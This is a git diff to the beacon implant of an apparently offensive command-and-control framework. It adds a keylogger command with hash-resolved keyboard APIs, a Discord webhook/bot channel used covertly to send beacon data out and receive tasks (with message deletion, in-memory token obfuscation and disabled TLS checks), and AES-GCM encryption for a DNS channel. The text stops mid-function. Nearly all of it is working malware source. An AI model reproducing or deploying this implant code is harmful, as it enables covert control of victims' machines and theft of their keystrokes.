ProfileDNS; +typedef struct { + BYTE* webhook_url; + BYTE* bot_token; + BYTE* channel_tasks_id; + ULONG poll_interval; + BOOL cleanup; +} ProfileDiscord; + #endif @@ -95,6 +103,9 @@ class AgentConfig #elif defined(BEACON_DNS) ProfileDNS profile; +#elif defined(BEACON_DISCORD) + ProfileDiscord profile; + #endif AgentConfig(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h index f61a79c2d..2a6fd362e 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ApiDefines.h @@ -5,6 +5,7 @@ #define HASH_LIB_IPHLPAPI 0x2d288345 #define HASH_LIB_ADVAPI32 0x721421e8 #define HASH_LIB_MSVCRT 0xb707534d +#define HASH_LIB_USER32 0x1206f7d2 //ntdll @@ -195,4 +196,13 @@ #define HASH_FUNC_BIND 0x6f560281 #define HASH_FUNC_LISTEN 0xb4374c73 #define HASH_FUNC_RECVFROM 0xcfb09288 -#define HASH_FUNC_SENDTO 0xc44006d1 \ No newline at end of file +#define HASH_FUNC_SENDTO 0xc44006d1 + +//user32 +#define HASH_FUNC_GETASYNCKEYSTATE 0x124c2dac +#define HASH_FUNC_GETFOREGROUNDWINDOW 0x641cf097 +#define HASH_FUNC_GETKEYBOARDSTATE 0x41305fb6 +#define HASH_FUNC_GETWINDOWTEXTW 0x745a77f8 +#define HASH_FUNC_GETWINDOWTHREADPROCESSID 0x6ede2a0 +#define HASH_FUNC_MAPVIRTUALKEYW 0x8142b7c9 +#define HASH_FUNC_TOUNICODE 0x406b25ee \ No newline at end of file diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp index 86f626ebb..da52f2b8b 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.cpp @@ -1,6 +1,7 @@ #include "Commander.h" #include "bof_loader.h" #include "Boffer.h" +#include "Keylogger.h" extern HANDLE g_StoredToken; @@ -143,6 +144,9 @@ void Commander::ProcessCommandTasks(BYTE* recv, ULONG recvSize, Packer* outPacke case COMMAND_UPLOAD: this->CmdUpload(CommandId, inPacker, outPacker); break; + case COMMAND_KEYLOG_START: + this->CmdKeylogStart(CommandId, inPacker, outPacker); break; + case COMMAND_SAVEMEMORY: this->CmdSaveMemory(CommandId, inPacker, outPacker); break; @@ -1191,6 +1195,48 @@ void Commander::CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker) +void Commander::CmdKeylogStart(ULONG commandId, Packer* inPacker, Packer* outPacker) +{ + ULONG pollMs = inPacker->Unpack32(); + ULONG taskId = inPacker->Unpack32(); + + if (pollMs < 10) + pollMs = 100; + + HANDLE pipeRead = NULL; + HANDLE pipeWrite = NULL; + SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; + ApiWin->CreatePipe(&pipeRead, &pipeWrite, &sa, 0); + + if (!pipeRead || !pipeWrite) { + outPacker->Pack32(taskId); + outPacker->Pack32(COMMAND_ERROR); + outPacker->Pack32(TEB->LastErrorValue); + return; + } + + KeylogConfig* cfg = (KeylogConfig*)MemAllocLocal(sizeof(KeylogConfig)); + cfg->pipeWrite = pipeWrite; + cfg->active = 1; + cfg->pollIntervalMs = pollMs; + + HANDLE hThread = ApiWin->CreateThread(NULL, 0, KeylogWorker, cfg, 0, NULL); + if (!hThread) { + ApiNt->NtClose(pipeRead); + ApiNt->NtClose(pipeWrite); + MemFreeLocal((LPVOID*)&cfg, sizeof(KeylogConfig)); + outPacker->Pack32(taskId); + outPacker->Pack32(COMMAND_ERROR); + outPacker->Pack32(TEB->LastErrorValue); + return; + } + + agent->jober->CreateJobData(taskId, JOB_TYPE_LOCAL, JOB_STATE_RUNNING, hThread, 0, pipeRead, pipeWrite); + + outPacker->Pack32(taskId); + outPacker->Pack32(commandId); +} + void Commander::CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker) { ULONG memoryId = inPacker->Unpack32(); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h index 55ec1e553..d04b4ab63 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Commander.h @@ -32,6 +32,8 @@ #define COMMAND_SHELL_ACEPT 74 +#define COMMAND_KEYLOG_START 80 + #define COMMAND_SAVEMEMORY 0x2321 #define COMMAND_ERROR 0x1111ffff @@ -82,6 +84,7 @@ class Commander void CmdUnlink(ULONG commandId, Packer* inPacker, Packer* outPacker); void CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker); + void CmdKeylogStart(ULONG commandId, Packer* inPacker, Packer* outPacker); void CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker); void Exit(Packer* outPacker); diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp index 0ef4e8d86..dfbacfe4f 100644 --- a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDNS.cpp @@ -809,15 +809,17 @@ BOOL ConnectorDNS::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize) if (!beat || !beatSize || beatSize < 8) return FALSE; - // Extract agent ID from beat + // Extract agent ID from beat (beat is AES-GCM encrypted: [IV(12)][CT][Tag(16)]) + // Decrypt a copy to read the plaintext agent_id at offset 4 BYTE* beatCopy = (BYTE*)MemAllocLocal(beatSize); if (!beatCopy) return FALSE; memcpy(beatCopy, beat, beatSize); - EncryptRC4(beatCopy, beatSize, this->encryptKey, 16); + int plainLen; + DecryptAES256GCM(beatCopy, beatSize, this->encryptKey, &plainLen); - ULONG agentId = (beatSize >= 8) ? ReadBE32(beatCopy + 4) : 0; + ULONG agentId = (plainLen >= 8) ? ReadBE32(beatCopy + 4) : 0; MemFreeLocal((LPVOID*)&beatCopy, beatSize); ApiWin->snprintf(this->sid, sizeof(this->sid), "%08x", agentId); @@ -951,14 +953,17 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) sessionBuf[3] = (BYTE)((plainSize >> 16) & 0xFF); sessionBuf[4] = (BYTE)((plainSize >> 24) & 0xFF); memcpy(sessionBuf + 5, payload, payloadLen); - EncryptRC4(sessionBuf, (int)sessionLen, sessionKey, 16); - sendBuf = sessionBuf; - sendLen = sessionLen; + int encLen; + unsigned char* encData = EncryptAES256GCM(sessionBuf, (int)sessionLen, sessionKey, &encLen); + MemFreeLocal((LPVOID*)&sessionBuf, sessionLen); + sendBuf = encData; + sendLen = encLen; } else { - EncryptRC4(plainData, (int)plainSize, sessionKey, 16); - sendBuf = plainData; - sendLen = plainSize; + int encLen; + unsigned char* encData = EncryptAES256GCM(plainData, (int)plainSize, sessionKey, &encLen); + sendBuf = encData; + sendLen = encLen; } this->SendData(sendBuf, sendLen); @@ -974,8 +979,7 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) } } - if (sessionBuf) - MemFreeLocal((LPVOID*)&sessionBuf, sessionLen); + MemFreeLocal((LPVOID*)&sendBuf, sendLen); if ((flags & 0x1) && payload && payload != plainData) MemFreeLocal((LPVOID*)&payload, payloadLen); @@ -986,7 +990,9 @@ void ConnectorDNS::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) // Decrypt received data with session key if (this->recvSize > 0 && this->recvData) { - DecryptRC4(this->recvData, this->recvSize, sessionKey, 16); + int plainLen; + DecryptAES256GCM(this->recvData, this->recvSize, sessionKey, &plainLen); + this->recvSize = plainLen; } } @@ -1118,7 +1124,7 @@ void ConnectorDNS::SendHeartbeat() ULONG hbNonce = this->functions->GetTickCount() ^ (this->seq * 7919); BYTE hbData[kAckDataSize]; BuildAckData(hbData, this->downAckOffset, hbNonce, this->downTaskNonce); - EncryptRC4(hbData, kAckDataSize, this->encryptKey, 16); + CryptAES256Stream(hbData, kAckDataSize, this->encryptKey); CHAR hbLabel[32] = { 0 }; DnsCodec::Base32Encode(hbData, kAckDataSize, hbLabel, sizeof(hbLabel)); @@ -1172,7 +1178,7 @@ void ConnectorDNS::SendAck() ULONG ackNonce = this->functions->GetTickCount() ^ (this->seq * 7919) ^ 0xACEACE; BYTE ackData[kAckDataSize]; BuildAckData(ackData, this->downAckOffset, ackNonce, this->downTaskNonce); - EncryptRC4(ackData, kAckDataSize, this->encryptKey, 16); + CryptAES256Stream(ackData, kAckDataSize, this->encryptKey); CHAR ackLabel[32] = { 0 }; DnsCodec::Base32Encode(ackData, kAckDataSize, ackLabel, sizeof(ackLabel)); @@ -1334,7 +1340,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) WriteBE32(frame + kMetaSize + 4, sendOffset); memcpy(frame + kHeaderSize, data + sendOffset, chunk); - EncryptRC4(frame, frameSize, this->encryptKey, 16); + CryptAES256Stream(frame, frameSize, this->encryptKey); memset(dataLabel, 0, sizeof(dataLabel)); if (!DnsCodec::BuildDataLabels(frame, frameSize, this->labelSize, dataLabel, sizeof(dataLabel))) { @@ -1489,7 +1495,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) BYTE reqData[kReqDataSize]; WriteBE32(reqData, reqOffset); WriteBE32(reqData + 4, nonce); - EncryptRC4(reqData, kReqDataSize, this->encryptKey, 16); + CryptAES256Stream(reqData, kReqDataSize, this->encryptKey); CHAR reqLabel[24]; memset(reqLabel, 0, sizeof(reqLabel)); @@ -1520,7 +1526,7 @@ void ConnectorDNS::SendData(BYTE* data, ULONG data_size) return; } - DecryptRC4(binBuf, binLen, this->encryptKey, 16); + CryptAES256Stream(binBuf, binLen, this->encryptKey); const ULONG headerSize = 8; if (binLen > (int)headerSize) { diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp new file mode 100644 index 000000000..d2c68bd52 --- /dev/null +++ b/AdaptixServer/extenders/beacon_agent/src_beacon/beacon/ConnectorDiscord.cpp @@ -0,0 +1,914 @@ +#include "ConnectorDiscord.h" +#include "ApiLoader.h" +#include "ApiDefines.h" +#include "Obfuscate.h" +#include "ProcLoader.h" +#include "Encoders.h" +#include "Crypt.h" +#include "utils.h" +#include "config.h" +#include "DebugLog.h" + + +// ============================================================================ +// Local helpers (same pattern as ConnectorHTTP.cpp) +// ============================================================================ + +static DWORD _slen(const CHAR* str) +{ + DWORD i = 0; + if (str != NULL) + for (; str[i]; i++); + return i; +} + +static void _scopy(CHAR* dst, const CHAR* src, DWORD len) +{ + for (DWORD i = 0; i < len; i++) + dst[i] = src[i]; +} + +static int _sfind(const CHAR* haystack, DWORD haystackLen, const CHAR* needle, DWORD needleLen) +{ + if (needleLen == 0 || needleLen > haystackLen) + return -1; + for (DWORD i = 0; i <= haystackLen - needleLen; i++) { + DWORD j = 0; + while (j < needleLen && haystack[i + j] == needle[j]) + j++; + if (j == needleLen) + return (int)i; + } + return -1; +} + + +// ============================================================================ +// operator new / delete +// ============================================================================ + +void* ConnectorDiscord::operator new(size_t sz) +{ + void* p = MemAllocLocal(sz); + return p; +} + +void ConnectorDiscord::operator delete(void* p) noexcept +{ + MemFreeLocal(&p, sizeof(ConnectorDiscord)); +} + + +// ============================================================================ +// Constructor +// ============================================================================ + +ConnectorDiscord::ConnectorDiscord() +{ + this->hSession = NULL; + this->recvData = NULL; + this->recvSize = 0; + this->beatData = NULL; + this->beatSize = 0; + this->beatSent = FALSE; + this->tokenObf = NULL; + this->tokenObfLen = 0; + + memset(this->discordHost, 0, sizeof(this->discordHost)); + memset(this->webhookPath, 0, sizeof(this->webhookPath)); + memset(this->tasksPath, 0, sizeof(this->tasksPath)); + memset(this->authHeader, 0, sizeof(this->authHeader)); + memset(this->tokenXorKey, 0, sizeof(this->tokenXorKey)); + + this->functions = (DISCORDFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(DISCORDFUNC)); + + this->functions->LocalAlloc = ApiWin->LocalAlloc; + this->functions->LocalReAlloc = ApiWin->LocalReAlloc; + this->functions->LocalFree = ApiWin->LocalFree; + this->functions->LoadLibraryA = ApiWin->LoadLibraryA; + this->functions->GetLastError = ApiWin->GetLastError; + + HMODULE hWininetModule = this->functions->LoadLibraryA(OBF("wininet.dll")); + DBG("[*] ConnectorDiscord: wininet.dll=0x%p", hWininetModule); + if (hWininetModule) { + this->functions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA); + this->functions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA); + this->functions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA); + this->functions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA); + this->functions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA); + this->functions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA); + this->functions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA); + this->functions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE); + this->functions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE); + this->functions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE); + } +} + + +// ============================================================================ +// XOR helper — in-place XOR with key +// ============================================================================ + +void ConnectorDiscord::XorBuffer(BYTE* buf, ULONG len, BYTE* key, ULONG keyLen) +{ + for (ULONG i = 0; i < len; i++) + buf[i] ^= key[i % keyLen]; +} + + +// ============================================================================ +// ParseWebhookUrl — extract host + path from webhook URL +// Input: "https://discord.com/api/webhooks/xxx/yyy" +// Output: discordHost = "discord.com", webhookPath = "/api/webhooks/xxx/yyy" +// ============================================================================ + +void ConnectorDiscord::ParseWebhookUrl(const CHAR* url) +{ + // Skip "https://" + const CHAR* p = url; + DWORD urlLen = _slen(url); + + // Find "://" + int schemeEnd = _sfind(p, urlLen, "://", 3); + if (schemeEnd >= 0) + p = url + schemeEnd + 3; + + // Find first '/' after host + const CHAR* slash = p; + while (*slash && *slash != '/') + slash++; + + DWORD hostLen = (DWORD)(slash - p); + if (hostLen >= sizeof(this->discordHost)) + hostLen = sizeof(this->discordHost) - 1; + _scopy(this->discordHost, p, hostLen); + this->discordHost[hostLen] = 0; + + // Path is everything from '/' onward + DWORD pathLen = _slen(slash); + if (pathLen >= sizeof(this->webhookPath)) + pathLen = sizeof(this->webhookPath) - 1; + _scopy(this->webhookPath, slash, pathLen); + this->webhookPath[pathLen] = 0; + + DBG("[*] Discord: parsed host=%s path=%s", this->discordHost, this->webhookPath); +} + + +// ============================================================================ +// DeobfuscateToken — XOR-decrypt bot_token into caller buffer +// ============================================================================ + +void ConnectorDiscord::DeobfuscateToken(CHAR* out, ULONG outSize) +{ + if (!this->tokenObf || this->tokenObfLen == 0) + return; + + ULONG copyLen = this->tokenObfLen; + if (copyLen >= outSize) + copyLen = outSize - 1; + + memcpy(out, this->tokenObf, copyLen); + out[copyLen] = 0; + this->XorBuffer((BYTE*)out, copyLen, this->tokenXorKey, sizeof(this->tokenXorKey)); +} + + +// ============================================================================ +// SetConfig — initialize connector, store profile, send initial beat +// ============================================================================ + +BOOL ConnectorDiscord::SetConfig(ProfileDiscord prof, BYTE* beat, ULONG bSize) +{ + this->profile = prof; + this->beatSize = bSize; + this->beatSent = FALSE; + + // Copy beat data + if (beat && bSize > 0) { + this->beatData = (BYTE*) this->functions->LocalAlloc(LPTR, bSize); + memcpy(this->beatData, beat, bSize); + } + + // Parse webhook URL + if (prof.webhook_url) + this->ParseWebhookUrl((const CHAR*) prof.webhook_url); + + // Build tasks path: "/api/v10/channels//messages?limit=10" + if (prof.channel_tasks_id) { + auto pfx = OBF("/api/v10/channels/"); + auto sfx = OBF("/messages?limit=10"); + DWORD pfxLen = _slen(pfx); + DWORD idLen = _slen((CHAR*) prof.channel_tasks_id); + DWORD sfxLen = _slen(sfx); + + if (pfxLen + idLen + sfxLen < sizeof(this->tasksPath)) { + DWORD off = 0; + _scopy(this->tasksPath + off, pfx, pfxLen); off += pfxLen; + _scopy(this->tasksPath + off, (CHAR*) prof.channel_tasks_id, idLen); off += idLen; + _scopy(this->tasksPath + off, sfx, sfxLen); off += sfxLen; + this->tasksPath[off] = 0; + } + DBG("[*] Discord: tasksPath=%s", this->tasksPath); + } + + // XOR-obfuscate bot_token in memory + if (prof.bot_token) { + ULONG tokenLen = _slen((CHAR*) prof.bot_token); + GenerateRandomBytes(this->tokenXorKey, sizeof(this->tokenXorKey)); + + this->tokenObf = (BYTE*) this->functions->LocalAlloc(LPTR, tokenLen + 1); + memcpy(this->tokenObf, prof.bot_token, tokenLen); + this->tokenObf[tokenLen] = 0; + this->tokenObfLen = tokenLen; + this->XorBuffer(this->tokenObf, tokenLen, this->tokenXorKey, sizeof(this->tokenXorKey)); + + // Wipe original token from profile memory + memset(prof.bot_token, 0, tokenLen); + } + + // Build auth header: "Authorization: Bot \r\n" + { + CHAR tokenBuf[200]; + memset(tokenBuf, 0, sizeof(tokenBuf)); + this->DeobfuscateToken(tokenBuf, sizeof(tokenBuf)); + + auto authPfx = OBF("Authorization: Bot "); + DWORD authPfxLen = _slen(authPfx); + DWORD tokenLen = _slen(tokenBuf); + + if (authPfxLen + tokenLen + 1 < sizeof(this->authHeader)) { + DWORD off = 0; + _scopy(this->authHeader + off, authPfx, authPfxLen); off += authPfxLen; + _scopy(this->authHeader + off, tokenBuf, tokenLen); off += tokenLen; + this->authHeader[off] = 0; + } + + DBG("[*] Discord: authHeader len=%lu token len=%lu token[0..5]=%c%c%c%c%c%c", + _slen(this->authHeader), tokenLen, + tokenBuf[0], tokenBuf[1], tokenBuf[2], tokenBuf[3], tokenBuf[4], tokenBuf[5]); + + // Wipe cleartext token + memset(tokenBuf, 0, sizeof(tokenBuf)); + } + + // Discord Bot API requires a DiscordBot User-Agent (403 with browser UA) + auto ua = OBF("DiscordBot (https://discord.com, 1.0)"); + this->hSession = this->functions->InternetOpenA(ua, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); + if (!this->hSession) { + DBG("[-] Discord: InternetOpenA FAILED err=%lu", this->functions->GetLastError()); + return FALSE; + } + DBG("[+] Discord: hSession=0x%p", this->hSession); + + // Send initial beat via webhook + if (this->beatData && this->beatSize > 0) { + LPSTR encBeat = b64_encode(this->beatData, this->beatSize); + if (encBeat) { + // Build JSON: {"content":""} + auto jPre = OBF("{\"content\":\""); + auto jSuf = OBF("\"}"); + DWORD preLen = _slen(jPre); + DWORD encLen = _slen(encBeat); + DWORD sufLen = _slen(jSuf); + + ULONG jsonLen = preLen + encLen + sufLen; + BYTE* jsonBuf = (BYTE*) this->functions->LocalAlloc(LPTR, jsonLen + 1); + DWORD off = 0; + _scopy((CHAR*)jsonBuf + off, jPre, preLen); off += preLen; + _scopy((CHAR*)jsonBuf + off, encBeat, encLen); off += encLen; + _scopy((CHAR*)jsonBuf + off, jSuf, sufLen); off += sufLen; + jsonBuf[off] = 0; + + auto ctHeader = OBF("Content-Type: application/json\r\n"); + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mPost = OBF("POST"); + BOOL ok = this->HttpsRequest(_mPost, this->webhookPath, ctHeader, jsonBuf, jsonLen, &resp, &respLen); + DBG("[*] Discord: beat POST %s (%lu bytes json)", ok ? "OK" : "FAIL", jsonLen); + + if (resp) { + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } + memset(jsonBuf, 0, jsonLen); + this->functions->LocalFree(jsonBuf); + memset(encBeat, 0, encLen); + this->functions->LocalFree(encBeat); + + this->beatSent = ok; + } + } + + return TRUE; +} + + +// ============================================================================ +// HttpsRequest — generic HTTPS request to discord.com +// Returns TRUE on 2xx, allocates outBuf with response body +// ============================================================================ + +BOOL ConnectorDiscord::HttpsRequest(const CHAR* method, const CHAR* path, + const CHAR* extraHeaders, BYTE* body, ULONG bodyLen, + BYTE** outBuf, ULONG* outLen) +{ + if (outBuf) *outBuf = NULL; + if (outLen) *outLen = 0; + + DWORD context = 0; + BOOL result = FALSE; + + HINTERNET hConnect = this->functions->InternetConnectA( + this->hSession, this->discordHost, INTERNET_DEFAULT_HTTPS_PORT, + NULL, NULL, INTERNET_SERVICE_HTTP, 0, (DWORD_PTR)&context); + + if (!hConnect) { + DBG("[-] Discord: InternetConnectA FAILED err=%lu", this->functions->GetLastError()); + return FALSE; + } + + CHAR acceptTypes[] = { '*', '/', '*', 0 }; + LPCSTR rgpszAcceptTypes[] = { acceptTypes, 0 }; + DWORD flags = INTERNET_FLAG_SECURE | INTERNET_FLAG_RELOAD + | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI + | INTERNET_FLAG_KEEP_CONNECTION; + + HINTERNET hRequest = this->functions->HttpOpenRequestA( + hConnect, method, path, 0, 0, rgpszAcceptTypes, flags, (DWORD_PTR)&context); + + if (!hRequest) { + DBG("[-] Discord: HttpOpenRequestA FAILED err=%lu", this->functions->GetLastError()); + this->functions->InternetCloseHandle(hConnect); + return FALSE; + } + + // Ignore SSL cert errors (self-signed proxies, debugging) + { + DWORD dwFlags = 0; + DWORD dwBuffer = sizeof(DWORD); + this->functions->InternetQueryOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwBuffer); + dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID + | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REVOCATION + | SECURITY_FLAG_IGNORE_WRONG_USAGE; + this->functions->InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof(dwFlags)); + } + + // Build headers + DWORD hdrLen = 0; + CHAR* hdrBuf = NULL; + { + DWORD extraLen = extraHeaders ? _slen(extraHeaders) : 0; + hdrLen = extraLen; + hdrBuf = (CHAR*) this->functions->LocalAlloc(LPTR, hdrLen + 1); + DWORD off = 0; + if (extraLen) { + _scopy(hdrBuf + off, extraHeaders, extraLen); + off += extraLen; + } + hdrBuf[off] = 0; + hdrLen = off; + } + + BOOL sent = this->functions->HttpSendRequestA(hRequest, hdrBuf, hdrLen, (LPVOID)body, bodyLen); + DBG("[*] Discord: %s %s -> sent=%d", method, path, sent); + + if (hdrBuf) { + memset(hdrBuf, 0, hdrLen); + this->functions->LocalFree(hdrBuf); + } + + if (sent) { + // Check status code + CHAR statusCode[16]; + DWORD statusCodeLen = sizeof(statusCode); + this->functions->HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, statusCode, &statusCodeLen, 0); + DBG("[*] Discord: response status=%s", statusCode); + + int code = 0; + for (int i = 0; statusCode[i] >= '0' && statusCode[i] <= '9'; i++) + code = code * 10 + (statusCode[i] - '0'); + + // Read response body (chunked or content-length) + ULONG totalRead = 0; + ULONG bufCapacity = 0x1000; // start with 4KB + BYTE* buffer = (BYTE*) this->functions->LocalAlloc(LPTR, bufCapacity); + DWORD available = 0; + + if (buffer) { + while (1) { + BOOL qr = this->functions->InternetQueryDataAvailable(hRequest, &available, 0, 0); + if (!qr || !available) + break; + + // Grow buffer if needed + if (totalRead + available > bufCapacity) { + bufCapacity = totalRead + available + 0x1000; + buffer = (BYTE*) this->functions->LocalReAlloc(buffer, bufCapacity, LMEM_MOVEABLE); + if (!buffer) break; + } + + DWORD readBytes = 0; + BOOL rr = this->functions->InternetReadFile(hRequest, buffer + totalRead, available, &readBytes); + if (!rr || !readBytes) + break; + totalRead += readBytes; + } + } + + if (totalRead > 0 && outBuf && outLen) { + *outBuf = buffer; + *outLen = totalRead; + } else if (buffer) { + this->functions->LocalFree(buffer); + } + + result = (code >= 200 && code < 300); + } + + this->functions->InternetCloseHandle(hRequest); + this->functions->InternetCloseHandle(hConnect); + + return result; +} + + +// ============================================================================ +// ExtractJsonString — find "key":"value" and return allocated copy of value +// Handles escaped quotes inside value. Caller must free result. +// ============================================================================ + +CHAR* ConnectorDiscord::ExtractJsonString(const CHAR* json, ULONG jsonLen, const CHAR* key, ULONG* outLen) +{ + *outLen = 0; + + // Build search pattern: "key":" + DWORD keyLen = _slen(key); + // Pattern: "":" + DWORD patLen = 1 + keyLen + 3; // quote + key + quote + colon + quote + CHAR pat[64]; + if (patLen >= sizeof(pat)) + return NULL; + + DWORD pi = 0; + pat[pi++] = '"'; + _scopy(pat + pi, key, keyLen); pi += keyLen; + pat[pi++] = '"'; + pat[pi++] = ':'; + pat[pi++] = '"'; + pat[pi] = 0; + + int pos = _sfind(json, jsonLen, pat, patLen); + if (pos < 0) { + // Try with space after colon: "key": " + pi = 0; + pat[pi++] = '"'; + _scopy(pat + pi, key, keyLen); pi += keyLen; + pat[pi++] = '"'; + pat[pi++] = ':'; + pat[pi++] = ' '; + pat[pi++] = '"'; + pat[pi] = 0; + patLen = pi; + pos = _sfind(json, jsonLen, pat, patLen); + if (pos < 0) + return NULL; + } + + // Value starts after the pattern + ULONG valStart = pos + patLen; + ULONG valEnd = valStart; + + // Find closing unescaped quote + while (valEnd < jsonLen) { + if (json[valEnd] == '"' && (valEnd == 0 || json[valEnd - 1] != '\\')) + break; + valEnd++; + } + + ULONG valLen = valEnd - valStart; + if (valLen == 0) + return NULL; + + CHAR* val = (CHAR*) this->functions->LocalAlloc(LPTR, valLen + 1); + _scopy(val, json + valStart, valLen); + val[valLen] = 0; + *outLen = valLen; + + return val; +} + + +// ============================================================================ +// DeleteMessage — DELETE /api/v10/channels/{id}/messages/{msg_id} +// ============================================================================ + +void ConnectorDiscord::DeleteMessage(const CHAR* messageId) +{ + if (!messageId || !this->profile.channel_tasks_id) + return; + + // Build path: /api/v10/channels//messages/ + auto pfx = OBF("/api/v10/channels/"); + auto mid = OBF("/messages/"); + DWORD pfxLen = _slen(pfx); + DWORD chanLen = _slen((CHAR*) this->profile.channel_tasks_id); + DWORD midLen = _slen(mid); + DWORD msgLen = _slen(messageId); + + ULONG pathLen = pfxLen + chanLen + midLen + msgLen; + CHAR* delPath = (CHAR*) this->functions->LocalAlloc(LPTR, pathLen + 1); + DWORD off = 0; + _scopy(delPath + off, pfx, pfxLen); off += pfxLen; + _scopy(delPath + off, (CHAR*) this->profile.channel_tasks_id, chanLen); off += chanLen; + _scopy(delPath + off, mid, midLen); off += midLen; + _scopy(delPath + off, messageId, msgLen); off += msgLen; + delPath[off] = 0; + + DBG("[*] Discord: DELETE %s", delPath); + + BYTE* resp = NULL; + ULONG respLen = 0; + auto _mDelete = OBF("DELETE"); + this->HttpsRequest(_mDelete, delPath, this->authHeader, NULL, 0, &resp, &respLen); + + if (resp) { + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } + memset(delPath, 0, pathLen); + this->functions->LocalFree(delPath); +} + + +// ============================================================================ +// PollTasks — GET tasks channel, parse messages, base64-decode content, +// concatenate into recvData, optionally delete messages +// ============================================================================ + +void ConnectorDiscord::PollTasks() +{ + if (!this->tasksPath[0]) + return; + + BYTE* resp = NULL; + ULONG respLen = 0; + + auto _mGet = OBF("GET"); + BOOL ok = this->HttpsRequest(_mGet, this->tasksPath, this->authHeader, NULL, 0, &resp, &respLen); + if (!ok) { + // Log error response body for debugging + if (resp && respLen > 0) { + DBG("[-] Discord: PollTasks GET failed, body=%.*s", respLen > 200 ? 200 : (int)respLen, (CHAR*)resp); + memset(resp, 0, respLen); + this->functions->LocalFree(resp); + } else { + DBG("[-] Discord: PollTasks GET failed or empty"); + if (resp) this->functions->LocalFree(resp); + } + return; + } + + DBG("[*] Discord: PollTasks got %lu bytes", respLen); + + // Discord returns a JSON array: [{"id":"...","content":"..."},...] + // We iterate finding "content":" and "id":" pairs + // Messages are newest-first, so we process in reverse order for correct ordering + + // First pass: count messages and collect their content+id + // Simple approach: find all "content":"..." values and "id":"..." values + + // Collect message IDs for cleanup + #define MAX_DISCORD_MSGS 10 + CHAR* msgIds[MAX_DISCORD_MSGS]; + CHAR* msgContents[MAX_DISCORD_MSGS]; + ULONG msgContentLens[MAX_DISCORD_MSGS]; + ULONG msgIdLens[MAX_DISCORD_MSGS]; + int msgCount = 0; + + memset(msgIds, 0, sizeof(msgIds)); + memset(msgContents, 0, sizeof(msgContents)); + memset(msgContentLens, 0, sizeof(msgContentLens)); + memset(msgIdLens, 0, sizeof(msgIdLens)); + + // Parse JSON array — find each object delimited by { } + const CHAR* jsonStr = (const CHAR*) resp; + ULONG searchPos = 0; + + while (searchPos < respLen && msgCount < MAX_DISCORD_MSGS) { + // Find next '{' + ULONG objStart = searchPos; + while (objStart < respLen && jsonStr[objStart] != '{') + objStart++; + if 